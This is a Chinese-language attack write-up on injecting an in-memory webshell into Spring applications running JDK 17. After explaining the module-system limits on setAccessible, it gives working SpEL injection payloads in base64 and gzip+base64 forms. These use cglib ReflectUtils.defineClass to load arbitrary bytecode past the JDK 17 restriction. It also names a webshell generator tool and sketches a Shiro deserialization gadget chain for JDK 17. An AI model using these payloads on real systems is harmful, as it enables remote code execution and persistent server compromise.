在 JDK 17 中,setAccessible(true) 不是完全不能使用,但是受到了严格的限制,特别是对于Java核心模块(java.base)中的关键类和方法的访问
模块的强化
// JDK 17 中,模块系统默认配置更严格
// java.base 模块默认不向未命名模块开放深度反射
// 尝试在 JDK 17 中执行:
Field field = ClassLoader.class.getDeclaredField("defineClass");x
field.setAccessible(true); // 这行会抛出异常!
// 异常信息:
// java.lang.reflect.InaccessibleObjectException:
// Unable to make protected final Class<?> java.lang.ClassLoader.defineClass(...) accessible:
// module java.base does not "opens java.lang" to unnamed module @xxxx不同JDK的演变
| JDK 版本 | setAccessible(true)状态 | 核心变化 |
|---|---|---|
| JDK 8 及之前 | 基本无限制 | 可以访问几乎所有私有成员 |
| JDK 9-15 | 逐步限制 | 引入了模块系统,默认有警告 |
| JDK 16 | 严格限制 | --illegal-access=deny成为默认 |
| JDK 17+ | 非常严格 | 默认拒绝,必须显式开放 |
SPEL绕过JDK17
因为目标不出网所以我们需要打内存马,这里选择使用SPEL表达式来注入内存马。因为目标环境是JDK17所以我们还需要绕过反射限制,且不能使用js脚本引擎执行代码。首先使用java-chains直接生成的表达式进行测试
T(org.springframework.cglib.core.ReflectUtils).defineClass('org.apache.beanutils.coyote.ser.std.NumberSerializer915a340602104c4d8545434b1bed70b4',T(org.springframework.util.Base64Utils).decodeFromString('base64'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()会报错

跟进org.springframework.cglib.core.ReflectUtils,会发现在classLoaderDefineClassMethod.setAccessible(true);报错,这是由于jdk17对setAccessible(true)进行了十分严格的限制

通过调试defineclass方法,发现如果能够进入这个if直接执行invoke就能够执行任意字节码。


POC
Base64方式
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'org.springframework.expression.TestAAA',
T(org.springframework.util.Base64Utils).decodeFromString('base64编码的类字节码'),
T(java.lang.Class).forName('org.springframework.expression.ExpressionParser').getClassLoader(),
null,
T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')
).newInstance()gzip+base64方式
T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.TestAAAtq',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip+base64')))),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()也可以直接使用MemShellParty生成,可以直接绕过JDK17

具体参考: https://mdnice.com/writing/1f3785e75b44461bad2fa58196ec828c Shiro反序列化 JDK17高版本利用
利用链:CommonsBeanutils-\> C3p0DataSource -\> PostgreSqlJdbc -\> ClassPathXmlApplicationContext